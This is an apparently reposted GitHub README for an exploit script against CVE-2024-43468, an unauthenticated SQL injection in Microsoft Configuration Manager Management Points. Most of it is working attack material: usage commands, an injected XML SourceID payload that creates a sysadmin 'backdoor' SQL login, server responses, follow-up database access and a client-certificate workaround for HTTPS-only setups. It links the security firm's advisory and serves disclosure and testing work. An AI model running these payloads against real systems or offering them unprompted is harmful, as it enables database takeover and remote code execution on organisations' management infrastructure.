Microsoft Configuration Manager 2403 未认证SQL注入漏洞(CVE-2024-43468)利用
2025-1-25 10:20:3 Author: github.com(查看原文) 阅读量:12 收藏

This script exploits the CVE-2024-43468 that allows an unauthenticated attacker, with network access to a Management Point, to execute arbitrary SQL queries on the site database.

As queries are executed as the MP machine account identity, granted the sysadmin role, it is trivial to escalate the SQL injection to remote code execution (with xp_cmdshell for example).

When KB29166583 is missing, all the following Microsoft Configuration Manager versions are vulnerable:

  • < 2403 (5.00.9128.1024)
  • < 2309 (5.00.9122.1033)
  • < 2303 (5.00.9106.1037)
  • <= 2211 (*)

For more details, please refer to the associated advisory available at https://www.synacktiv.com/advisories/microsoft-configuration-manager-configmgr-2403-unauthenticated-sql-injections

Requirements

  • In some cases, when the management point is configured with HTTPS Only communication mode, a PKI certificate is required to perform mutual TLS authentication against the vulnerable HTTP service. Any certificate issued by the internal PKI with the Client Authentication purpose will work.

Usage

$ python3 CVE-2024-43468.py --help
usage: CVE-2024-43468.py [-h] -t TARGET -sql SQL [-machineid MACHINEID] -k KEY -c CERT

SCCM LocationMgr (MP_Location) Unauthenticated SQL injections - CVE-2024-43468

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        Target (http[s]://sccm-mp.local/)
  -sql SQL              Query to execute through the MachineID SQL injection (e.g create login user123 with password = 'p4sswOrd' ; exec master.dbo.sp_addsrvrolemember 'user123', 'sysadmin' )
  -machineid MACHINEID  A valid MachineID for the second SQL injection via ContentID
  -k KEY, --key KEY     Private key file for mutual TLS
  -c CERT, --cert CERT  Certificate file for mutual TLS
  • Create a new administrator user
$ python3 CVE-2024-43468.py -t http://sccm.local -sql "create login backdoor123 with password = 'P@sswOrd1'; exec master.dbo.sp_addsrvrolemember 'backdoor123', 'sysadmin'"
>>>> Header <<<<<
<Msg ReplyCompression="zlib" SchemaVersion="1.1"><Body Type="ByteRange" Length="556" Offset="0" /><CorrelationID>{00000000-0000-0000-0000-000000000000}</CorrelationID><Hooks><Hook3 Name="zlib-compress" /></Hooks><ID>{00000000-0000-0000-0000-000000000000}</ID><Payload Type="inline"/><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:dummyEndpoint:LS_ReplyLocations</ReplyTo><TargetAddress>mp:[http]MP_LocationManager</TargetAddress><TargetEndpoint>MP_LocationManager</TargetEndpoint><TargetHost>http://sccm.local</TargetHost><Timeout>60000</Timeout><SourceID>GUID:3b47a05a-db2e-40ef-8c77-cf29dac2ca1e'; create login backdoor123 with password = 'P@sswOrd1'; exec master.dbo.sp_addsrvrolemember 'backdoor123', 'sysadmin' ; select '1 </SourceID></Msg>

>>>> Request <<<<<
<UpdateSFRequest><Package ID="UID:060cb19a-4dde-4c6a-b08b-7fee96c4824b" Version="1"></Package><ClientLocationInfo><BoundaryGroups><BoundaryGroup GroupID="1" GroupGUID="00000000-0000-0000-0000-000000000000" GroupFlag="0"/></BoundaryGroups></ClientLocationInfo></UpdateSFRequest>


>>>> Response : 200 <<<<<
--aAbBcCdDv1234567890VxXyYzZ
content-type: text/plain; charset=UTF-16

ÿþNoReply
--aAbBcCdDv1234567890VxXyYzZ--
  • Afterwards, access the SCCM the database with the newly created administrator.
$ mssqlclient.py  -debug './backdoor123:P@sswOrd1'@sccm-db.local
SQL (backdoor123  dbo@master)> use CM_ABC
SQL (backdoor123  dbo@CM_ABC)> select Name0 from v_R_System
Name0
------
DC
  • Use mTLS in case the Management Point asks for a client certificate.
$ python3 CVE-2024-43468.py -t https://sccm.local -sql "..."
[...]
>>>> Response : 403 Client certificate required <<<<<
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

$ python3 CVE-2024-43468.py -k any_client1.key -c any_client1.pem -t https://sccm.local -sql "..."
>>>> Response : 200 <<<<<
--aAbBcCdDv1234567890VxXyYzZ
content-type: text/plain; charset=UTF-16

ÿþNoReply
--aAbBcCdDv1234567890VxXyYzZ--

References


文章来源: https://github.com/synacktiv/CVE-2024-43468
如有侵权请联系:admin#unsafe.sh